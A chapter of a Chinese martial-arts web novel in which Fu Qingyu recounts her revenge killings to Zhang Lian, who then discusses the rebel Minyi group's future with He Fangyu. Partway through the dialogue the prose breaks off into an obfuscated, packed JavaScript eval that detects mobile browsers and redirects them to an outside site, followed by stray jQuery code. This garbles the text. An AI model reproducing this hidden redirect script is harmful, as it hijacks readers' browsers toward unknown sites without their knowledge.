125. 第四十七章 见性见心
作品:《游龙记》 哎呦!一个小乞丐跑得太急,一下撞到了付清玉腿上,他受不住力,一屁股坐倒在了地上,抬眼看着面前的人,还有,她素色衣袍上那两个漆黑的掌印。
这,这女人看着好凶,衣服看着好像好贵,现在被自己弄脏了,该不会,该不会打自己一顿吧。
小乞丐惊恐地看着面前的女子,怕得都快哭出来了。
付清玉低头看了下自己衣袍上的脏污,看着面前吓地直哆嗦的小乞丐,小心地蹲了下来。
小乞丐害怕得往后缩了下,付清玉却从怀里掏出半张饼来,递到了他面前。
“喏,吃吧。”
小乞丐怔怔地看着自己面前的饼,油乎乎的,好香,他一把抢过,抱在怀里,好像怕付清玉反悔般,一骨碌爬了起来,跑了开去。
付清玉蹲在地上,看着小乞丐远去的背影,仿佛看见好多年前,一个衣衫褴褛的小孩,也是抱着一张饼,满脸笑容地朝她跑过来,一边喊着:
“姐姐,姐姐。”
张镰走近,伸手拉起地上的付清玉,牵着她往后院走去。张镰将她安顿在后院的一张石桌前坐下,又去打了一盘水,不知道哪里找来了一个手帕,拧干,细细帮她擦拭衣服上的脏污。
他不知道付清玉怎么了,只是刚才有那么一瞬间,她蹲在地上,瘦瘦的、小小的,脆弱得让他心疼。
“我有个弟弟。”付清玉缓缓地开口。
张镰顿了下,又一下下擦拭衣衫,静静听她说。
“当年霄蔺夺位,我的父母被闯进村子里搜查的铁羽卫杀死了。”付清玉的声线没有起伏,仿佛在诉说着别人的故事。
“我和弟弟四处流浪,我们互相照顾,沿街乞讨,过得很苦。可是,第二年,他就病死在了冬天的第一场雪里。”
那满天的雪花,还有自己怀中渐渐冰凉的身体,她一直清晰地记着那样生命流逝的感觉,仿佛这世间的唯一温暖,渐渐舍自己而去。那一刻的无力感,多年后仍无法忘怀,午夜梦回间,时时将她惊醒。
“我武艺学成的第一件事,就是为他报仇,杀了打伤他的财主一家二十来口。”
“后来,我潜入铁羽营,找到了当初杀死我父母的那个士兵,他已经成了前锋营的副使,他在我的剑下哀嚎,求饶,却不记得自己曾经杀过我的父母。我那时,不理解……后来,等我杀的人多了,才渐渐知道,原来,不知道自己杀了多少人,杀的人是谁,是这种感觉。”
张镰心中一痛,抓着帕子的手紧了紧。
“等我把所有的仇人都杀光了,我才发现,原来,我自己也变成了别人的仇人。”
“那一夜,我在军营前坐了很久,曾经有人和我说过,杀的人多了记不住很正常,可是他又说,记不住的时候,其实已经把自己杀了。”
“很奇怪,对不对,我杀的明明是我的仇人,可死的却是我自己。”付清玉笑了一笑。
“我想不明白,我做错了什么……那些被我杀了的人,也许,也不知道自己做错了什么。”
“后来,我想,或许,错的不是我,也不是他们,是这个国家,是个世界错了。霄蔺篡位,害死了我的父母,那个财主因衣物被弄破,鞭打我的弟弟,间接害死了他,摩易为了一己私欲,设计谋害了我前锋营三千铁血铮铮的汉子,让他们在邺城大火中成为一具具焦骨。”
“我就在想,也许,只有改变这个国家,杀死这些始作俑者,才算是真正的复仇!”
“张镰,”付清玉看向他,“不顾一切,不择手段的报仇,把你的仇人们都杀死后,你的心,会变得空荡荡的,你便再也不是你自己了,那滋味,我替你尝过了。”
啪嗒一声,一颗泪珠滑落下来,滴在张镰手背上。
张镰抬头看着面前的女子,他第一次见到她的脆弱,仿佛一幽幽天地间漂浮的落叶,浮浮沉沉般够不到地面。
世人皆以为她好权,专横,自私,掌控尉国朝政,手握尉国的权势,明帝只是她的傀儡,殊不知,她或许,只是为了找回曾经的那个自己。
张镰站起身,小心翼翼的将面前的女子拥入怀中。
“何大侠,你这是在干嘛?”张镰好奇看着何方煜,他此刻正挽着袖子和裤脚,吃力搬着一块大石头。
“哎,张兄弟,你来得正好,来,搭把手。”
张镰上前,两人吃力抬起石块,把它搬到一边的屋内,屋里已经堆了一些石块,还有木头。
张镰又帮着他搬了好几块大石头进屋,两人累得气喘吁吁。
“何大哥,你搬那么多石头干嘛啊?”张镰接过何方煜递过来的水喝了一口,含糊道。
“这不是想搭个灶嘛,这里原来是庆城的官仓,没有厨房,现在我们这里一下子多了好几十号人呢,也不知道什么时候能出去,有了粮食,总得有个煮的地方吧。”
“哦,”张镰点点头,原来是要弄个煮饭的灶啊。
“张兄弟,你是哪里人啊?我听你这说话不像附近的口音。”
“我是楠城人。”
“哦,楠城啊,我知道,盛产木材,那里还有个姓张的大族,十几年前我走镖去过,很是繁盛,可惜,听说几年前被仇家灭门了。张兄弟,咦,张?你,你该不是……”
何方煜突然想到张镰的姓氏,愣了一下。
“我正是楠城张家的子弟。”
“哎呦,对不住啊,张兄弟,我这人口无遮拦的,那个,你,你别介意啊。”
张镰笑笑道:“没事,何大侠不用往心里去。”
何方煜顿时有些尴尬,两人一时无语。
“何大侠,你们民义团是做什么的?”
“大侠是真不敢当,张兄弟,我虚长你几岁,你就叫我声何大哥好了。”
“我们民义团啊,嗨,就是官府所说的叛党呗。”何方煜满不在乎地道。
张镰一怔,还是第一次见人把叛党说得,说得…这么随意。
“现在这燕国的天下,哪个州没有几个叛党?”何方煜随口道:“像你们连云寨,和我们也差不多,只不过你们和官府没有彻底撕破脸罢了。”
“我们民义团,说是叛党,其实啊,大多数都是些穷苦百姓,像我,以前是个走镖的,喏,那个小个子的叫小九,以前一家子都是财主的佃农,后来交不起租,卖儿卖女,他姐姐被财主家的儿子霸占,又被打死,他杀了人,就逃到我们这里来了。还有那个看着憨憨的,家里原来是开布庄的,得罪了人,被对家伙同县官害了全家性命……”
张镰静静听着。
“这世道,活着不易,要不是实在活不下去了,谁愿意去做那杀头的事。”何方煜叹息一声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257661|175432||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“我们民义团算是比较好的,我们堂主仇天原来是惠州漕帮的老大,被奸人所害,媳妇儿子都被官兵杀死了,一怒之下便带着兄弟们反了。仇老大为人侠义,对待大家亲如兄弟,攻下惠州后便带着兄弟们和百姓种地,治理河患,引水灌溉农田,让人人都有饭吃,这两三年下来,我们惠州也算是井井有条,百姓安居乐业。”
“现在这燕国的天下啊,皇室官员奢靡,连年征战,各地赋税多得都数不清,买官卖官,都烂到了骨子里了。我们民义团啊,就是让老百姓有地种,有饭吃。”
“何大哥,你们就没想过,大家都吃得上饭了,今后怎么办?”
何方煜一愣,今后?今后怎么样?不还是种地吃饭吗?他们民义团最大的愿景就是能让大家都吃得上饱饭,能过上好日子,能有钱娶妻生子,绵延子嗣。现在占下惠州,朝廷内部混乱,皇室四子夺位,似乎也没那么多功夫管他们,他们已经觉得日子不错了,这次来抢夺官粮也是凑巧为之。
“现在朝廷是没有精力管你们,可万一哪天他们腾出手来呢?”张镰问道:“你们虽然武艺都还不错,但却没有组织,都是一群散兵游勇,能打得过六大营和护国军吗?现在几位皇子争夺,最后总会有人胜出,祁氏皇族奢靡已久,若新帝也是这般,那你们待如何?惠州还会是最后的安稳地吗?你们如何自保?”
何方煜睁大眼睛看着张镰,嘴巴长得老大,这,这他们还真没想过。
他愣了下神,忽然一拍大腿,站了起来。
“哎呦!张兄弟,你说得太好了!真是,真是,醍醐灌顶,醍醐灌顶啊!”
“那,兄弟你说,我们接下来应该怎么办?”
张镰想了下,道:“兴农兴商,组建军队,外可抗敌,内可保家,建立制度,任命官员,管理事务,定律法,明赏罚……”
“这,这不是朝廷的事吗?这样,是要建一个朝廷?”何方煜喃喃道。
张镰一愣,对啊,这不就是建立一个朝廷吗?
何方煜缓缓坐了下来,两人一时无语,各怀心事。
何方煜听了张镰这一番话,心下震动,觉得大有道理。张镰说完这一番话也认识到自己似乎,打心眼里并不认可燕国朝廷的统治,还有那么一点造反的心,他突然间好像有点理解付清玉了。
何方煜想着张镰的话,好像有人将他的脑子劈开,使劲往里塞了些他似懂非懂,又觉得很重要的东西,他一把抓住张镰的肩膀,呼啦一下站了起来。
“张兄弟,要不,你加入我们民义团吧!”
“啊?”张镰一愣。
“张兄弟,你说的这些太对了,我们只看到现在,却看不到将来的危机,张兄弟有远见,你这一番话,真是让大哥悟到了!若你能加入我们民义团,我一定向仇堂主举荐你做个副堂主!”
“这”张镰一脸为难,“何大哥,我只是,只是说了下自己的浅见,实在使不得。”
“哎,是大哥唐突了,张兄弟是连云寨的人,我这,一时欣喜,差点忘了。”何方煜见张镰并未答应,有些失望。
张镰笑笑,并未解释,自己并不是连云寨的人。
“张兄弟,我民义团的大门一直为你敞开,只要你愿意来,我老何一定夹道欢迎!”
“那我先谢谢何大哥。”